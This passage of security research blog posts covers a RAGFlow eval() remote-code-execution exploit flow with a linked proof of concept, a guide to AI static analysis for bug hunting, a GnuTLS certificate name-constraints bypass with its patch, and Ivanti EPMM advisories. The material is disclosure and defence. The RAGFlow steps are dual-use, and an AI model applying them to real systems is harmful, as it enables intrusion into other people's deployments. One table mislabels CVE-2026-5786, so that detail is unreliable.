sres.ids: # rerank_by_model ultimately calls the problematic eval() sim, tsim, vsim = self.rerank_by_model( rerank_mdl, sres, question, 1 - vector_similarity_weight, vector_similarity_weight, rank_feature=rank_feature, ) ``` At this point, we had the complete picture: * Create a malicious Knowledge Base * Corrupt `tag_feas` property of a chunk in that Knowledge Base using public API * Use retrieval API to find that malicious chunk, forcing vulnerable rerank code to run with the rerank\_id parameter #### POC Our fully-working POC is available here: [https://github.com/ZeroPathAI/ragflow-poc](https://github.com/ZeroPathAI/ragflow-poc) It includes a setup script and docker compose to stand up a test RAGFlow instance configured to be vulnerable. NOTE: In testing with Infinity in docker with very few documents in it, we found that full text caches sometimes meant that it could take awhile for our malicious chunk to start appearing in search results. This would be less of an issue on a busy production deployment, and would just mean an attacker would need to retry retrieval until it worked. However, to make the issue easy to demonstrate, the POC optionally lets you specify the URL for the Infinity Thrift endpoint, so that it can explicitly flush caches so you don't have to wait around for that to happen naturally. Overall exploit flow: * Create a Knowledge Base that defines tags (tag\_kb) * Create a second Knowledge Base with the tag\_kb\_ids parser\_config property set to the tag\_kb knowledge base (target\_kb) * We need a tag kb configured, because without one, the vulnerable code doesn't get executed. The `eval()` happens when the re-ranker evaluates relevance of tags, which only happens if the target kb has tags. * Add a chunk to target\_kb with its `tag_feas` property set to a string containing python code * Trigger a search of target\_kb using the /api/v1/retrieval endpoint. Use a search question guaranteed to match our target chunk. * Critically: specify that a re-rank model should be used during re-ranking with `rerank_id`. If Infinity is being used as the backend without a rerank model, vulnerable code is bypassed. * Result: during re-ranking of results returned from Infinity, eval() gets triggered to try to parse `tag_feas`, resulting in RCE. ## Mitigation ### Apply Unofficial Patch The RAGFlow project has not yet released a patched version, but you can apply this patch manually to your local RAGFlow instances: [https://github.com/infiniflow/ragflow/pull/14091](https://github.com/infiniflow/ragflow/pull/14091) ### Reduce Exposure Ensure RAGFlow instances are not accessible via the public internet, that only trusted users have RAGFlow accounts, and that those accounts are protected by strong passwords and properly controlled in password managers and vaults. ### Monitor Closely Add proactive monitoring to RAGFlow pods and servers -- especially watch for suspicious processes spawning underneath the RAGFlow process. ## Lessons While using `eval()` to convert a string representation of a dictionary to an actual dictionary is not uncommon, it's bad practice in production code. We'd strongly recommend avoiding this technique unless absolutely necessary, even when it seems like the input to eval can't be user influenced. It's in most cases an unnecessary foot gun. --- #### How to do Security Research with ZeroPath - **Date**: April 4, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 4 minutes - **Keywords**: AI SAST, ZeroPath, Application Security, Security Testing, Developer Tools - **URL**: https://zeropath.com/blog/security-research-with-zeropath A practical guide on using AI SAST with ZeroPath to perform security research. --- ## Introduction It's trivial, but security researchers, even bug bounty hunters, often begin their research by running SAST tools, just to check for low hanging fruit. If the target you're looking at isn't well tested, running CodeQL or some other static analysis tool just to get started can be a productive use of time. The new breed of AI SAST tools are pretty definitively more powerful than their basic static-analysis driven predecessors, and expand the scope of bugs you can quickly grep for. If you weren't using them befeore, it makes sense to reevaluate. Unfortunately however, a lot of security researchers are unaware of what these tools can do by default, or don't understand how to configure them for the code they're looking at. Here's how the ZeroPath team uses ZeroPath to find bugs in open source repositories. --- ## Select Your Targets First, target selection: ZeroPath isn't going to find you any WordPress 0days (yet). It helps to pick a popular but new repository on the github trending list. When the team is spelunking we usually look for web applications between 500 and 10000 github stars that have been updated in the last few months. For this example we will use SuperAGI, an “Open-source framework to build, manage and run useful Autonomous AI Agents” ![SuperAGI](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_github.PNG) ## Running Your First Scan Before configuring any custom settings, it usually makes sense to run a basic scan so that you can see what kind of results ZeroPath will return for the repository by default. Among other import methods, ZeroPath lets you scan code at any live github URL, or upload a zip archive of the source manually. After the scan is complete, you can view the number of results and navigate to the issues page by clicking on our scan. Here were the results when we tried: ![Many_Issues](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_issues.PNG) Clearly, our tool did not report 65 independently high value exploitable bugs for the SuperAGI repo; most of these are going to be false positives. To help with triage, for each potential finding, ZeroPath will give you a natural language description, an explanation of what associated request handler, a description of the application the bug was found on, and a CVSS ranking with subscores determined by the AI. ![superagi_partial](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_partial_view.PNG) Additionally, you go to the explorer tab, you can also get a list of all code points in the application that receive external traffic. Even if you're not using the findings this can help with recon and giving you a sense of the app's surface area. In SuperAGI's case, this will show us all extant HTTP endpoints. ![superagi_explorer](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_explorer.PNG) In our experience, looking at the first ten or so issues is sufficient to see if ZeroPath did well the first try. ## Customizing ZeroPath's SAST Sometimes ZeroPath will need some configuration; like if there are important details about the app that aren't available in the source. For example, let's say that for this application, I know that all the /intrnl/\*\*/\* endpoints are only exposed internally, and not to the wider internet. With AI SAST tools, I can just explain this to the AI in my own words, by adding repo context. Then when I rescan, the AI will take into account that information when reporting security bugs. ![repo_context](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/repo_context.PNG) By phrasing instructions as contextual information, you can progressively narrow the scan results until the findings are excluded to the kinds of issues you want. For example, you can: - Tell the AI that certain inputs are sanitized by an external router. - Tell the AI that broken auth issues are out of scope for its assessment. - Tell the AI that a @foo decorator applies some filtering or authentication checks. Additionally, you can also give the AI extra details to alert on. These are called "natural language rules" and when you specify them the AI will scan the code for the violations that you specify. For instance, you can ask it to look for any endpoint that's declared without a specific decorator attached: ![custom_rule](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/custom_rule_full.PNG) ## Finding Real-World Security Vulnerabilities During our review of the SuperAGI project, we found a legitimate Insecure Direct Object Reference (IDOR) vulnerability in the /get/{resource_id} route very quickly. The `download_file_by_id` function which this route serves would respond with files based on a user supplied resource_id, without performing any authorization checks on that resource_id for the user. ![super_agi_idor](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_idor_full.PNG) The actual finding from the scan is shown above, and you may notice the status is "patched". This is because we generated a security fix and submitted the [PR](https://github.com/TransformerOptimus/SuperAGI/pull/1448) to the SuperAGI maintainers, which got merged. ## Detecting Business Logic Vulnerabilities Particularly because up until now there has been no easy way to scan for these types of vulnerabilities, we've had a high success rate in finding business logic vulnerabilities across many apps. These issues traditionally require lots of manual labor to find, because there's no simple way to grep for them. In applications where there are hundreds or thousands of endpoints, having a human review each one for authorization and similar flaws is time consuming. Hopefully as AI SAST gets better this will be less and less the case. ## Conclusion Overall, AI SAST is not perfect, but we think it's currently a force multiplier for security research and will only keep improving overtime. It's helped us in both pentests and in security research to find issues that might have been overlooked or required a lot of manual effort to find. If you're a security researcher who utilizes SAST tools, we'd be happy if you gave ours a try and let us know how it does, especially repos it currently struggles on. Happy hunting! --- ### CVE Analysis (10 most recent of 924 total) #### GnuTLS CVE-2026-42011: Brief Summary of the Name Constraints Bypass in Certificate Validation - **Date**: May 7, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2026-42011, GnuTLS, name constraints bypass, certificate validation, X.509, CWE-295 - **URL**: https://zeropath.com/blog/cve-2026-42011-gnutls-name-constraints-bypass A short review of CVE-2026-42011, a logic error in GnuTLS that silently discards permitted name constraints during certificate chain validation, along with patch details and affected version information. --- ## Introduction A logic error in GnuTLS's X.509 certificate chain validation silently discards permitted name constraints from subordinate Certificate Authorities, effectively widening the trust scope of certificates that should be narrowly scoped. For any system relying on GnuTLS for TLS certificate verification, this means a carefully constructed certificate chain could pass validation even when the leaf certificate's Subject Alternative Name falls outside the namespace the issuing CA was authorized to certify. GnuTLS is a widely used secure communications library implementing the SSL, TLS, and DTLS protocols. It provides a C language API for accessing secure communications protocols and for parsing and writing X.509, PKCS #12, and related structures. The library serves as a foundational TLS backend across many Linux distributions and is integrated into a broad range of applications and services. ## Technical Information ### Root Cause The vulnerability, tracked as CVE-2026-42011 and classified under CWE-295 (Improper Certificate Validation), stems from a logic error in the `name_constraints_node_list_intersect()` function in `lib/x509/name_constraints.c`. This function is responsible for computing the intersection of accumulated permitted subtrees with new ones introduced by a subordinate CA in the certificate chain. In the vulnerable code, an early return guard existed at approximately line 803: ```c // VULNERABLE CODE (removed by the patch) if (gl_list_size(permitted1->items) == 0 || gl_list_size(permitted2->items) == 0) return GNUTLS_E_SUCCESS; ``` This check treated an empty permitted list as "nothing to do" and returned immediately with success. The problem is that in RFC 5280's Name Constraints model, an empty permitted set semantically represents the **universal set**, meaning all names are permitted. When a subordinate CA then narrows this with, say, `permittedSubtrees = [good.com]`, the correct intersection of Universal ∩ {good.com} should yield {good.com}. Instead, the early return silently discarded the subordinate's constraints, leaving the universal set intact. ### Attack Flow For exploitation, the following certificate chain configuration is required: 1. A **Root CA** with a `nameConstraints` extension containing only `excludedSubtrees` (for example, excluding `evil.com`). Crucially, this Root CA has no `permittedSubtrees`, so the accumulated permitted set starts empty (universal). 2. An **Intermediate CA** issued by the Root, with a `nameConstraints` extension containing `permittedSubtrees` (for example, permitting only `good.com`). 3. A **Leaf certificate** issued by the Intermediate CA with an arbitrary Subject Alternative Name, such as `attacker.com`. During certificate chain processing, when GnuTLS encounters the Intermediate CA's permitted constraints, it calls `name_constraints_node_list_intersect()` to intersect the accumulated permitted set (empty, meaning universal) with the Intermediate's permitted set (`good.com`). The buggy early return fires because `permitted1->items` has size 0, and the function returns without modifying anything. The Intermediate's restriction to `good.com` is silently dropped. The result: the leaf certificate for `attacker.com` passes validation, even though the Intermediate CA was only supposed to issue certificates for `good.com`. A remote attacker in a man in the middle position could present such a certificate chain to impersonate arbitrary domains, subject only to the Root CA's excluded list. The CVSS 3.1 vector is AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N, scoring 7.4 High. The High attack complexity reflects the requirement for an active network interception position. Both Confidentiality and Integrity impacts are rated High, while Availability is unaffected. ## Patch Information The GnuTLS project patched CVE-2026-42011 in version **3.8.13**, released on April 29, 2026, through merge request [!2102](https://gitlab.com/gnutls/gnutls/-/merge_requests/2102). The closing commit is [`1dead2fa`](https://gitlab.com/gnutls/gnutls/-/commit/1dead2faec6320aaba321eb56f20d442df192b83), authored by Alexander Sosedkin, with the message *"x509/name_constraints: fix intersecting empty constraints"*. The fix is elegant in its simplicity: a **four line deletion**. Here is the diff from the commit: ```diff --- a/lib/x509/name_constraints.c +++ b/lib/x509/name_constraints.c @@ -800,10 +800,6 @@ static int name_constraints_node_list_intersect( san_flags_t types_in_p1 = 0, types_in_p2 = 0; static const unsigned char universal_ip[32] = { 0 }; - if (gl_list_size(permitted1->items) == 0 || - gl_list_size(permitted2->items) == 0) - return GNUTLS_E_SUCCESS; - /* First partition PERMITTED1 into supported and unsupported lists */ ret = name_constraints_node_list_init(&supported1); if (ret < 0) { ``` By removing the early return entirely, the function now always falls through into the full intersection logic, which already correctly handles the case where one of the permitted lists is empty. When `permitted1` is empty (universal) and `permitted2` contains entries, the intersection naturally produces the entries from `permitted2`, exactly as RFC 5280 Section 6.1.4 step (b) mandates. It is worth noting the background complexity here. A parallel refactoring effort in [!2083](https://gitlab.com/gnutls/gnutls/-/merge_requests/2083), which rewrote the name constraints system to use rbtree backed sorted lists, had already changed the data structures from the original `size` based arrays to `gl_list` based containers. The maintainer Alexander Sosedkin noted in the issue discussion that an intermediate version of !2083 had already dropped this early return, which made the final fix for CVE-2026-42011 possible as a simple deletion. Two separate backport patches were prepared: `1824-3.8.12-v1.patch` for systems still on the pre rework 3.8.12 codebase, and `1824-3.8.13pre-v1.patch` for the post rework code that shipped in 3.8.13. Alongside the code fix, the commit was accompanied by expanded test coverage in `tests/name-constraints-merge`, specifically exercising the scenario of an empty permitted set being intersected with a non empty one, ensuring the regression cannot silently reappear. ### Patch Status Across Ecosystems | Ecosystem / Distribution | Fixed Version | Status | | :--- | :--- | :--- | | GnuTLS Upstream | 3.8.13 | Released | | Red Hat Hardened Images | gnutls-3.8.13-1.hum1 | Released | | Fedora 43 | 3.8.13 | Released | | Debian 13 | No fixed version | Pending | Organizations should prioritize patching internet facing services that use GnuTLS for certificate validation. For Debian 13 environments, administrators should monitor vendor advisories until a fixed version of the gnutls28 package becomes available. ## Affected Systems and Versions Anyone using certificate authentication in any version of GnuTLS prior to 3.8.13 is potentially affected. The vulnerability is present in the `name_constraints_node_list_intersect()` function in `lib/x509/name_constraints.c`. The fixed version is **GnuTLS 3.8.13**, released April 29, 2026. All prior versions that implement X.509 name constraints processing are vulnerable when the specific certificate chain configuration (Root CA with only excluded constraints, Intermediate CA with permitted constraints) is encountered. ## Vendor Security History The GnuTLS project has a documented history of addressing security vulnerabilities in its TLS and X.509 implementation. Notable past issues include CVE-2014-3466, a memory corruption vulnerability, and CVE-2014-3566, related to the POODLE attack against SSLv3. The project maintains a public security advisory page and tracks issues through its GitLab instance. CVE-2026-42011 was reported in the issue tracker by Haruto Kimura and assigned the advisory identifier GNUTLS-SA-2026-04-29-6. ## References - [NVD: CVE-2026-42011](https://nvd.nist.gov/vuln/detail/CVE-2026-42011) - [Red Hat CVE Page: CVE-2026-42011](https://access.redhat.com/security/cve/CVE-2026-42011) - [Red Hat Bugzilla: Bug 2467437](https://bugzilla.redhat.com/show_bug.cgi?id=2467437) - [GnuTLS GitLab Issue #1824: Name Constraints Bypass via Empty Permitted Subtrees Intersection](https://gitlab.com/gnutls/gnutls/-/issues/1824) - [GnuTLS GitLab Commit 1dead2fa: Fix intersecting empty constraints](https://gitlab.com/gnutls/gnutls/-/commit/1dead2faec6320aaba321eb56f20d442df192b83) - [GnuTLS GitLab Commit 1dead2fa (diff)](https://gitlab.com/gnutls/gnutls/-/commit/1dead2faec6320aaba321eb56f20d442df192b83.diff) - [GnuTLS GitLab Merge Request !2102](https://gitlab.com/gnutls/gnutls/-/merge_requests/2102) - [GnuTLS GitLab Merge Request !2083: rbtree list refactor](https://gitlab.com/gnutls/gnutls/-/merge_requests/2083) - [GnuTLS Security Advisories](https://www.gnutls.org/security-new.html) - [RHSA-2026:13274 Security Advisory](https://access.redhat.com/errata/RHSA-2026:13274) - [Fedora 43 GnuTLS 3.8.13 Security Update](https://linuxsecurity.com/advisories/fedora/fedora-43-gnutls-2026-d5f140eb90) - [Snyk: CVE-2026-42011 in gnutls28 (Debian 13)](https://security.snyk.io/vuln/SNYK-DEBIAN13-GNUTLS28-16344352) - [GnuTLS Project Homepage](https://gnutls.org/) - [GnuTLS Historical Security Advisories](https://www.gnutls.org/security.html) --- #### Brief Summary: CVE-2026-5786 Improper Access Control in Ivanti EPMM Enables Authenticated Privilege Escalation to Admin - **Date**: May 7, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 7 minutes - **Keywords**: CVE-2026-5786, Ivanti EPMM, Improper Access Control, Privilege Escalation, CWE-284, Endpoint Manager Mobile - **URL**: https://zeropath.com/blog/cve-2026-5786-ivanti-epmm-privilege-escalation A short review of CVE-2026-5786, a high severity improper access control flaw in Ivanti Endpoint Manager Mobile that allows any authenticated user to escalate to administrative privileges. Includes patch details and affected version information. --- ## Introduction Any authenticated user on an Ivanti Endpoint Manager Mobile appliance can silently escalate their privileges to full administrative control, thanks to an improper access control flaw disclosed on May 7, 2026. For organizations relying on EPMM to manage their mobile device fleet, this vulnerability (scored CVSS 8.8) means that a single compromised standard user account could give an attacker the keys to the entire MDM infrastructure, including device policies, configurations, and integrations. Ivanti Endpoint Manager Mobile is an on premises mobile device management platform used by enterprises and government agencies to enforce security policies and manage mobile endpoints at scale. The product sits at a critical juncture in enterprise infrastructure, controlling what devices can access corporate resources and how they are configured. ## Technical Information CVE-2026-5786 is classified under CWE-284 (Improper Access Control). The CVSS 3.1 vector as reported by the Centre for Cybersecurity Belgium is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. This tells us the vulnerability is network exploitable, requires low attack complexity, requires only low privileges (any authenticated user), requires no user interaction, and carries high impact across confidentiality, integrity, and availability. ### Root Cause The core issue is a failure in access control enforcement within the EPMM appliance. Authenticated sessions with low privilege levels were able to reach administrative functionality that should have been restricted to admin roles only. Because EPMM is a closed source commercial product, no source level code diffs or commit details are publicly available, but the patch description confirms that the fix tightens access control enforcement so that low privilege authenticated sessions can no longer reach administrative functionality. ### Attack Flow Based on the available information, exploitation proceeds through the following steps: 1. The attacker obtains or already possesses valid credentials for any user account on the target EPMM appliance. This could be a standard, non administrative account. 2. The attacker authenticates to the EPMM instance remotely over the network. 3. Due to the improper access control, the attacker accesses administrative functionality that their privilege level should not permit. 4. The attacker gains full administrative access to the EPMM appliance, which controls policies, configurations, and integrations for the entire managed mobile device fleet. ### Scope Boundaries This vulnerability is strictly limited to the on premises Endpoint Manager Mobile product. Ivanti confirmed that it does not affect Ivanti Neurons for MDM (their cloud based unified endpoint management solution), Ivanti EPM, Ivanti Sentry, or any other Ivanti products. ### Related May 2026 Vulnerabilities The May 2026 advisory addressed four other high severity vulnerabilities alongside CVE-2026-5786. The interplay between these is worth understanding: | Vulnerability | Authentication Required | Exploited at Disclosure | Primary Impact | Notes | | :--- | :--- | :--- | :--- | :--- | | CVE-2026-5786 | Yes (any user) | No | Administrative access | Improper Access Control | | CVE-2026-5787 | Yes | No | Impersonate Sentry hosts | High severity | | CVE-2026-5788 | No | No | Invoke arbitrary methods | Improper Access Control | | CVE-2026-6973 | Yes (Admin) | Yes | Arbitrary code execution | Improper Input Validation | | CVE-2026-7821 | No | No | Access restricted information | Requires Apple Device Enrollment | The chaining potential here is significant. CVE-2026-5786 provides a privilege escalation path from any authenticated user to admin, and CVE-2026-6973 provides code execution from an admin context. Combined, these would allow any authenticated user to achieve remote code execution on the appliance. ## Patch Information On May 7, 2026, Ivanti published a security advisory addressing CVE-2026-5786 alongside four other high severity vulnerabilities. The fix is delivered through full version updates, not through the temporary RPM script mechanism that was used for the January 2026 EPMM vulnerabilities (CVE-2026-1281 and CVE-2026-1340). This is an important distinction: the new releases are permanent, integrated fixes. The patch tightens access control enforcement so that low privilege authenticated sessions can no longer reach administrative functionality. Ivanti released three fixed versions, each corresponding to a supported major release branch: | Affected Versions | Fixed Version | Build | | :--- | :--- | :--- | | EPMM 12.8.0.0 and prior | **12.8.0.1** | 217 | | EPMM 12.7.x | **12.7.0.1** | 216 | | EPMM 12.6.x | **12.6.1.1** | 209 | For each fixed version, Ivanti provides both a fresh install ISO and an in place appliance update package available through their download portal (login required). For example, version 12.8.0.1 is available as `mobileiron-12.8.0.1-217.iso` for new instances and as an update directory for existing appliances. A notable consolidation benefit: organizations that upgrade to any of these resolved versions also receive the permanent fixes for the critical January 2026 zero days (CVE-2026-1281 and CVE-2026-1340). The temporary RPM packages distributed in January are no longer needed after updating. Because EPMM is a closed source commercial product, no source level code diffs or commit details are publicly available. The patch is applied entirely through Ivanti's proprietary update mechanism. ## Affected Systems and Versions The vulnerability affects the following Ivanti Endpoint Manager Mobile versions: - EPMM versions prior to **12.8.0.1** on the 12.8.x branch - EPMM versions prior to **12.7.0.1** on the 12.7.x branch - EPMM versions prior to **12.6.1.1** on the 12.6.x branch Only the on premises deployment of Endpoint Manager Mobile is affected. The following products are explicitly **not** affected: - Ivanti Neurons for MDM (cloud based) - Ivanti EPM (Endpoint Manager, the non mobile product) - Ivanti Sentry - All other Ivanti products ## Vendor Security History Ivanti infrastructure has been a recurring target for advanced threat actors, and the pattern is worth reviewing: | Year | Product | Incident Context | Key Lesson | | :--- | :--- | :--- | :--- | | 2021 | Pulse Connect Secure | Breached by suspected state backed hackers targeting government agencies and defense companies | Edge devices are high value targets | | Jan 2026 | Endpoint Manager Mobile | Widespread zero day exploitation of CVE-2026-1281 and CVE-2026-1340 with web shells and backdoors deployed | Rapid patching is critical | | May 2026 | Endpoint Manager Mobile | CVE-2026-6973 exploited using credentials stolen from January 2026 incidents | Credential rotation must accompany patches | The May 2026 situation is particularly instructive. Ivanti has high confidence that the administrative credentials used to exploit CVE-2026-6973 were harvested during the January 2026 zero day campaign. This demonstrates that patching alone is insufficient when credentials may have been compromised; rotation is a necessary companion step. ## References - [NVD Entry for CVE-2026-5786](https://nvd.nist.gov/vuln/detail/CVE-2026-5786) - [May 2026 Security Advisory: Ivanti Endpoint Manager Mobile (EPMM) Multiple CVEs](https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs) - [Ivanti Forums: May 2026 Security Advisory](https://forums.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs) - [BleepingComputer: Ivanti warns of new EPMM flaw exploited in zero day attacks](https://www.bleepingcomputer.com/news/security/ivanti-warns-of-new-epmm-flaw-exploited-in-zero-day-attacks/) - [Centre for Cybersecurity Belgium Advisory](https://ccb.belgium.be/advisories/warning-authenticated-remote-code-execution-vulnerability-ivanti-epmm-exploited-patch) - [Ivanti Blog: May 2026 EPMM Security Update](https://www.ivanti.com/blog/may-2026-epmm-security-update) - [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html) - [Kudelski Security: CVE-2026-1281 and CVE-2026-1340 Affecting Ivanti EPMM](https://kudelskisecurity.com/research/cve-2026-1281-and-cve-2026-1340-affecting-ivanti-endpoint-manager-mobile-epmm) - [Unit 42: Critical Vulnerabilities in Ivanti EPMM Exploited](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) - [Wikipedia: Ivanti Pulse Connect Secure data breach](https://en.wikipedia.org/wiki/Ivanti_Pulse_Connect_Secure_data_breach) --- #### Brief Summary: Ivanti EPMM CVE-2026-5787 Improper Certificate Validation Enables Sentry Host Impersonation - **Date**: May 7, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 6 minutes - **Keywords**: CVE-2026-5787, Ivanti EPMM, Improper Certificate Validation, CWE-295, Sentry host impersonation, mobile device management - **URL**: https://zeropath.com/blog/cve-2026-5787-ivanti-epmm-certificate-validation A short review of CVE-2026-5787, a high severity improper certificate validation flaw in Ivanti EPMM that allows unauthenticated attackers to impersonate Sentry hosts and obtain valid CA signed client certificates. Disclosed alongside an actively exploited zero day in the same product. --- ## Introduction An improper certificate validation flaw in Ivanti Endpoint Manager Mobile (EPMM) allows a remote unauthenticated attacker to impersonate registered Sentry hosts and walk away with valid CA signed client certificates. What makes this disclosure particularly urgent is its timing: it arrived in the same May 2026 advisory as CVE-2026-6973, a separate EPMM vulnerability that is already under active zero day exploitation. Ivanti EPMM (formerly MobileIron Core) is an enterprise mobile device management platform used by organizations worldwide to manage, secure, and enforce policy on mobile endpoints. It plays a central role in enterprise mobility architectures, often sitting at the intersection of identity, certificate, and access management systems. The Sentry component acts as a gateway that brokers access between managed devices and backend resources. ## Technical Information CVE-2026-5787 is rooted in CWE-295: Improper Certificate Validation. The CVSS 3.1 vector is AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L, yielding a score of 8.9. Several aspects of this vector are worth unpacking for defenders. The attack vector is network based (AV:N), meaning any attacker with network reachability to the EPMM instance can attempt exploitation. Attack complexity is rated high (AC:H), suggesting that specific conditions beyond the attacker's control must be met, but no privileges (PR:N) or user interaction (UI:N) are required. The scope change (S:C) is the most consequential indicator here: it tells us that a successful exploit crosses a trust boundary, compromising resources beyond the EPMM server itself. ### Root Cause The vulnerability lies in how the on premises EPMM server validates the identity of Sentry hosts during certificate operations. EPMM maintains a trust relationship with registered Sentry appliances, and part of that relationship involves issuing CA signed client certificates to legitimate Sentry hosts. The improper validation means EPMM does not adequately verify that a host requesting a certificate is, in fact, a legitimately registered Sentry instance. ### Attack Flow Based on the available information, the exploitation path follows this general sequence: 1. The attacker identifies a network reachable on premises EPMM instance. 2. The attacker crafts requests that impersonate a registered Sentry host, exploiting the insufficient certificate validation logic. 3. EPMM, failing to properly validate the requesting host's identity, issues a valid CA signed client certificate to the attacker. 4. The attacker now possesses a trusted certificate that can be used to authenticate to other components in the MDM infrastructure, potentially accessing restricted information or pivoting deeper into the environment. The scope change in the CVSS vector reflects this chain: the initial vulnerability is in EPMM, but the impact extends to any system that trusts the CA signed certificates EPMM issues. In environments where Sentry mediates access to email, internal applications, or other backend services, a forged Sentry certificate could grant broad unauthorized access. ### Sentry Is Not Directly Vulnerable It is important to note that Sentry itself does not contain this vulnerability. The flaw is entirely within the EPMM server's validation logic. However, operational dependencies between EPMM and Sentry mean that version alignment is critical when applying updates. Organizations adding new Sentry servers after patching EPMM must use Sentry versions 10.4.2, 10.5.1, or 10.6.1 to maintain compatibility. ### Cloud Deployments Are Unaffected Ivanti has confirmed that the cloud based Ivanti Neurons for MDM product is not affected by CVE-2026-5787. The vulnerability is specific to on premises EPMM deployments, highlighting the differing risk exposures between legacy on premises architectures and modern cloud managed services. ## Affected Systems and Versions The following on premises EPMM versions are vulnerable: | Product Component | Vulnerable Versions | Fixed Versions | | :--- | :--- | :--- | | Ivanti EPMM 12.6.x | Before 12.6.1.1 | 12.6.1.1 | | Ivanti EPMM 12.7.x | Before 12.7.0.1 | 12.7.0.1 | | Ivanti EPMM 12.8.x | Before 12.8.0.1 | 12.8.0.1 | For organizations adding new Sentry servers after the EPMM update, the following Sentry versions are required for compatibility: | Sentry Version | Notes | | :--- | :--- | | 10.4.2 | Required only for new Sentry additions post update | | 10.5.1 | Required only for new Sentry additions post update | | 10.6.1 | Required only for new Sentry additions post update | Ivanti Neurons for MDM (cloud) is explicitly unaffected. The fixed EPMM versions also include cumulative fixes for CVE-2026-1281 and CVE-2026-1340, so organizations that previously applied the January 2026 RPM package no longer need that separate remediation. ## Vendor Security History CVE-2026-5787 was disclosed alongside four other vulnerabilities in the same May 2026 advisory, painting a picture of a product under significant security scrutiny: | CVE Identifier | CVSS Score | Exploitation Status | Description | | :--- | :--- | :--- | :--- | | CVE-2026-6973 | Not provided | Actively exploited (zero day) | Requires admin authentication | | CVE-2026-5786 | 8.8 | No known exploitation | Remote Code Execution, low privileges required | | CVE-2026-5787 | 8.9 | No known exploitation | Improper Certificate Validation, no privileges required | | CVE-2026-5788 | Not provided | No known exploitation | Allows attackers to invoke arbitrary methods | | CVE-2026-7821 | Not provided | No known exploitation | Unauthenticated, requires Apple Device Enrollment configuration | Ivanti has also disclosed and patched prior EPMM vulnerabilities in recent months, including CVE-2026-1281 and CVE-2026-1340, which were addressed in a January 2026 advisory. The vendor noted that their recent integration of advanced AI models into product security processes helped identify vulnerabilities that traditional tooling had missed, including some in this May 2026 advisory. ## References - [NVD Entry for CVE-2026-5787](https://nvd.nist.gov/vuln/detail/CVE-2026-5787) - [CVE Record for CVE-2026-5787](https://www.cve.org/CVERecord?id=CVE-2026-5787) - [May 2026 Security Advisory: Ivanti Endpoint Manager Mobile (EPMM) Multiple CVEs](https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs) - [Belgium CCB Advisory: Authenticated Remote Code Execution Vulnerability in Ivanti EPMM](https://ccb.belgium.be/advisories/warning-authenticated-remote-code-execution-vulnerability-ivanti-epmm-exploited-patch) - [BleepingComputer: Ivanti warns of new EPMM flaw exploited in zero day attacks](https://www.bleepingcomputer.com/news/security/ivanti-warns-of-new-epmm-flaw-exploited-in-zero-day-attacks/) - [CybersecurityNews: New Ivanti EPMM 0 Day Vulnerability Actively Exploited](https://cybersecuritynews.com/ivanti-epmm-0-day-exploited/) - [Ivanti Forums: May 2026 Security Advisory](https://forums.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs) --- #### Quick Look: Ivanti EPMM CVE-2026-5788 Improper Access Control Allowing Unauthenticated Arbitrary Method Invocation - **Date**: May 7, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 6 minutes - **Keywords**: CVE-2026-5788, Ivanti EPMM, Improper Access Control, CWE-284, Endpoint Manager Mobile, Unauthenticated Remote Attack - **URL**: https://zeropath.com/blog/cve-2026-5788-ivanti-epmm-improper-access-control A brief summary of CVE-2026-5788, a high severity improper access control flaw in Ivanti Endpoint Manager Mobile (EPMM) that allows remote unauthenticated attackers to invoke arbitrary methods on affected on premise appliances. --- ## Introduction A missing access control check in Ivanti Endpoint Manager Mobile (EPMM) allows a remote, unauthenticated attacker to invoke arbitrary methods on the appliance, creating a direct path to integrity compromise without any credentials. This flaw, tracked as CVE-2026-5788 and rated CVSS 7.0, lands in a May 2026 advisory alongside four other high severity vulnerabilities, one of which is already seeing limited exploitation in the wild. Ivanti EPMM is an on premise mobile device management solution used by enterprises to enforce policies and manage access across iOS, Android, and other platforms. Ivanti is a major player in the Unified Endpoint Management (UEM) market, and its platforms leverage artificial intelligence to manage user and device access across Windows, macOS, ChromeOS, Linux, iOS, and Android. EPMM deployments are common in organizations that require on premise control over their mobile fleet, making vulnerabilities in this product particularly relevant to enterprise security teams. ## Technical Information CVE-2026-5788 is rooted in an Improper Access Control weakness (CWE-284) within Ivanti EPMM. The core issue is that certain methods exposed by the EPMM appliance can be invoked by a remote attacker without any authentication. The CVSS 3.1 vector string is `AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L`, which breaks down as follows: | CVSS Metric | Value | Interpretation | | :--- | :--- | :--- | | Attack Vector | Network | Exploitable remotely over the network | | Attack Complexity | High | Specific conditions must be met for exploitation | | Privileges Required | None | No authentication needed | | User Interaction | None | No victim action required | | Scope | Unchanged | Impact is confined to the vulnerable component | | Confidentiality Impact | Low | Limited information disclosure possible | | Integrity Impact | High | Significant modification of system data or behavior | | Availability Impact | Low | Minor disruption possible | The high integrity impact is the most notable element here. The ability to invoke arbitrary methods without authentication means an attacker could potentially alter system configuration, modify 